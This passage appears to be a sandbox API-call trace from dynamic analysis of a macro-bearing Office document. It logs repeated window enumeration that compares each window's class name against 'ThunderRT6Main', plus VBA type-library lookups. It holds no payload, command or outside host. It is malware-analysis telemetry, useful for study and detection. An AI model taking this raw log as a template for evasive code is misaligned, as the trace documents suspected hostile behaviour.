lpClassName="Profiles_camp_") returned 14 [0153.370] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0153.370] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0153.370] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0153.370] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.370] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.370] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0153.370] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0153.370] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0153.371] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0153.371] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0153.371] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0153.371] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0153.371] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0153.371] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0153.371] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0153.371] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0153.371] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0153.371] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0153.371] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0153.371] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0153.371] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0153.371] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0153.371] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0153.371] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0153.371] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0153.371] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0153.371] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0153.371] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0153.371] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0153.371] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0153.371] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.371] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.371] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0153.372] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0153.372] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0153.372] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0153.372] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0153.372] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0153.372] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0153.372] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0153.372] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0153.372] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0153.372] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0153.372] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0153.372] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0153.372] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0153.372] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0153.372] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0153.372] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0153.372] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0153.372] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0153.372] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0153.372] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0153.372] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0153.372] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0153.372] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0153.372] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0153.372] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0153.372] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0153.372] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0153.373] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0153.373] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0153.373] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0153.373] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0153.373] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0153.373] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0153.373] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0153.373] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0153.373] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0153.373] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0153.373] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0153.373] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0153.373] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0153.373] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0153.373] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0153.373] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0153.373] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0153.373] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.373] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0153.373] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.373] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0153.373] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.373] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.373] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0153.374] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0153.374] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0153.374] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0153.374] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0153.374] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0153.374] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0153.374] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0153.374] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0153.374] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.374] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0153.374] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0153.374] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0153.374] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0153.374] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0153.374] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.374] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0153.374] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.375] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0153.375] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0153.375] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0153.375] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.375] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0153.375] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.375] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.375] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0153.375] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0153.375] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.375] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0153.375] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0153.375] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.375] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0153.375] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0153.375] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0153.375] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0153.375] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0153.375] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0153.375] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0153.375] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0153.375] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0153.375] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.375] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0153.375] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0153.375] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0153.375] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0153.375] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0153.376] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0153.376] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0153.376] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.376] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0153.376] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0153.376] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.376] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0153.376] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.376] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0153.376] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0153.376] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0153.376] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0153.376] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0153.376] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0153.376] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0153.376] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0153.376] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0153.376] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0153.376] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0153.376] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0153.376] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0153.376] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0153.376] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0153.376] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0153.376] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0153.376] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0153.376] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0153.376] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x64b0000 [0153.377] IMalloc:Free (This=0x7fefe465380, pv=0x64b0000) [0153.495] strncpy_s (in: _Dst=0x477ee00, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0153.495] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0153.495] bsearch (_Key=0x1e8818, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0153.495] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0153.495] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0153.495] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679bb90) returned 0x0 [0153.496] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0153.496] IUnknown:Release (This=0x679bb90) returned 0x15 [0153.496] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x5a48630) returned 0x0 [0153.496] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0153.496] IUnknown:Release (This=0x5a48630) returned 0x12 [0153.496] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c130) returned 0x0 [0153.497] IUnknown:AddRef (This=0x679c130) returned 0x9 [0153.497] IUnknown:Release (This=0x679c130) returned 0x8 [0153.497] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e8880 | out: ppTComp=0x1e8880*=0x679c6d0) returned 0x0 [0153.497] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0153.497] IUnknown:Release (This=0x679c6d0) returned 0x6 [0156.340] GetCurrentThreadId () returned 0xa30 [0156.340] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0156.340] GetDesktopWindow () returned 0x10010 [0156.340] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0156.340] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0156.340] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0156.340] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.340] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0156.340] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.340] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.340] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.340] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0156.340] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.340] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.340] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0156.340] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0156.340] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0156.340] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0156.340] 